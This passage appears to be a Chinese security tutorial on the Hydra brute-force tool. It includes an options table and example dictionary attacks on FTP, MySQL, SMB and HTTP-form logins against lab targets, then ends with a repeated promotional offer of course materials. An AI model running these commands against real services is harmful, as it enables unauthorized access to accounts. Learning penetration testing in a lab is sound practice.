接着在当前目录中进入cmd:
输入:
hydra -h
若出现正常回显,则说明安装成功。
使用详析
常见参数
Hydra是一个命令行工具,所有的操作都是通过命令和参数实现的,见下表:
选项 | 说明 |
---|---|
-R | 继续上一次破解 |
-I | 忽略现有还原文件(不等待10秒) |
-s PORT | 指定端口(无-s则表示指定默认端口) |
-l LOGIN | 指定破解登录用户名 |
-L FILE | 使用文件指定多个用户名 |
-p PASS | 指定密码 |
-P FILE | 指定密码字典 |
-x MIN:MAX:CHARSET | 密码暴力生成 |
-y | 禁止在暴力破解中使用符号 |
-r | 对选项-x使用非随机方法 |
-e nsr | n:空密码试探,s:使用指定用户和密码试探。 |
-u | 循环用户 |
-C FILE | 冒号分隔用户名密码:“login:pass” 格式 |
-M FILE | 要攻击的服务器列表,每行一个条目,’:'指定端口 |
-o FILE | 将找到的登录/密码写入文件(保存执行结果) |
-b FORMAT | 指定-o输出格式,默认text,可选json, jsonv1 |
-f / -F | 找到用户名/密码后中止破解,-f:每个主机,-F:所有 |
-t TASKS | 每个主机并行线程数,默认16 |
-T TASKS | 所有并行线程数,默认64 |
-w / -W TIME | 最大等待响应时间 |
-c TIME | 所有进程每次尝试登录等待时间 |
-4 / -6 | IPv4(默认)/IPv6地址 |
-v / -V / -d | 详细日志模式/每次尝试仅显示用户名密码/调试模式 |
-k | 不重做失败的尝试(适用于-M批量扫描) |
-q | 不要打印错误连接消息 |
-U | 服务模块详细使用信息 |
-vV | 显示执行细节 |
也可以通过hydra-h获得:
ftp服务密码破解
该实例操作与burp爆破本质相同
FTP本地靶场: 【网络安全 | 靶场搭建】基于Kali的FTP搭建流程
Kali搭建一个ftp服务器,登录账号为admin,密码为123,准备一个密码字典passwd.txt:
在知道用户名为admin后,即可使用hydra进行破解:
hydra -l admin -P Desktop/passwd.txt ftp://127.0.0.1
回显如下,由于字典中存在与admin对应的密码,故破解成功:
如果不知道用户名及密码,则两者均使用字典爆破,每遍历一次用户名,密码字典都会被全部遍历:
hydra -L ./username.txt -P ./password.txt -t 2 -f ftp://127.0.0.1
mysql密码破解
宿主机本地搭建一个mysql服务器,登录账号为root,密码为root:
Kali准备一个密码字典passwd.txt:
在知道用户名为admin后,即可在Kali使用hydra进行破解(确保两者可以ping通):
hydra -l root -P Desktop/passwd.txt 192.168.xxx.xxx mysql
本案例仅供讲解需要,在真实环境中将 192.168.xxx.xxx 替换为目标IP即可。
如果不知道用户名及密码,则两者均使用字典爆破,每遍历一次用户名,密码字典都会被全部遍历:
hydra -L ./user.txt -P ./password.txt -t 2 -f 192.168.xx.xx mysql
smb服务密码破解
同理可对smb服务进行破解,给出实例如下图:
http服务密码破解
对http服务进行破解,给出实例如下图:
hydra -l 账号 -P 字典 -vV -f 域名 http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
表单的URL是 /admin/index.php,并且有两个字段:user 和 ps。^USER^
和^PASS^
是Hydra的占位符,用于在破解时替换为用户名和密码字典中的值。最后,:login-error 是登录失败的响应,用于判断是否成功破解密码。
在这个例子中,^USER^
恒为admin,^PASS^
不断遍历。
在POC的构造中,参数需要通过抓包得知
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!